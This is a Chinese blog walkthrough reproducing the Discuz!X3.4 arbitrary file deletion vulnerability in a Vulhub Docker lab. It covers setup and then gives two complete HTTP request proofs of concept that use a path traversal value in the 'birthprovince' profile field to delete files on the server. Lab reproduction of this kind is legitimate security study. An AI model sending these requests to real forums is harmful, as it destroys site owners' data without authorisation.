Discuz!X3.4任意文件删除漏洞复现

生活葬了童真,物欲脏了灵魂


Vulhub运行报错,因为端口占用了,默认是使用80端口

Assassins小白

修改目录下的 docker-compose.yml 文件,前面这个端口号修改为其他空闲端口

Assassins小白

docker-compose up -d 运行

Assassins小白

访问网站

Assassins小白

数据库服务器 修改为 db ,设置好账号密码,下一步

Assassins小白

安装完成

Assassins小白

注册一个用户

Assassins小白

在个人资料页 /home.php?mod=spacecp ,找到自己的 formhash

Assassins小白

带上自己的 Cookie formhash 值发送如下数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: IP/域名:端口
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: 你账号的cookie
Connection: close

------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"

你的formhash值
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"

../../../robots.txt # 你要删除的文件名
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"

1
------WebKitFormBoundaryPFvXyxL45f34L12s--

尝试删除 favicon.ico 文件

Assassins小白

个人资料处的出生地变化 /home.php?mod=spacecp,说明修改成功

Assassins小白

使用如下POC上传任意一个文件,上传后,文件被删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=你的formhash HTTP/1.1
Host: IP/域名:端口
Content-Length: 2011679
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysI786OHcNJPV5eGT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Cookie: 你账户的cookie
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarysI786OHcNJPV5eGT
Content-Disposition: form-data; name="birthprovince"; filename="Default.jpg"
Content-Type: image/jpeg

上传文件内容
------WebKitFormBoundarysI786OHcNJPV5eGT--

Assassins小白

文件被删除

Assassins小白